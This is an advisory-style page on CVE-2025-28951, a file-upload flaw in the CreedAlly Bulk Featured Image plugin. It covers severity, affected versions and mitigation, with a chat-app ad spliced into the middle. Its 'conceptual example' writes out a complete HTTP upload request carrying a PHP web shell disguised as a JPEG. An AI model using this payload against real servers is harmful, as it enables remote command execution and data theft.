Overview
The CVE-2025-28951 is an Unrestricted Upload of File with Dangerous Type vulnerability found in CreedAlly’s Bulk Featured Image plugin. The vulnerability permits an attacker to upload a web shell to a web server, which could potentially lead to a total system compromise or data leakage. Given the severity of this vulnerability – a CVSS score of 9.1 – the implications of an exploit can be dire for any website using the affected versions of this plugin.
Vulnerability Summary
CVE ID: CVE-2025-28951
Severity: Critical (CVSS: 9.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: Required
Impact: System compromise, potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
CreedAlly Bulk Featured Image | Up to and including 1.2.1
How the Exploit Works
The exploit takes advantage of the inadequate file validation mechanism in CreedAlly’s Bulk Featured Image plugin. An attacker can upload a web shell disguised as a legitimate file. Once the web shell is uploaded, it provides the attacker with remote control over the server. The attacker can then execute arbitrary commands, modify existing files, and even potentially access sensitive data, leading to a potential system compromise.
Conceptual Example Code
The following is a conceptual example of how the vulnerability might be exploited:
POST /upload_file HTTP/1.1
Host: vulnerable-site.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: image/jpeg
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker is uploading a file named “shell.php”, which is a web shell, disguised as an image file (jpeg). The web shell permits the attacker to execute arbitrary commands on the server by calling the ‘cmd’ GET parameter.
Countermeasures and Mitigation
Given the severity of this vulnerability, immediate action is required. Users are advised to apply the latest patch provided by the vendor. In the absence of a patch, or as a temporary measure, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) may be used to detect and block attempts to exploit this vulnerability.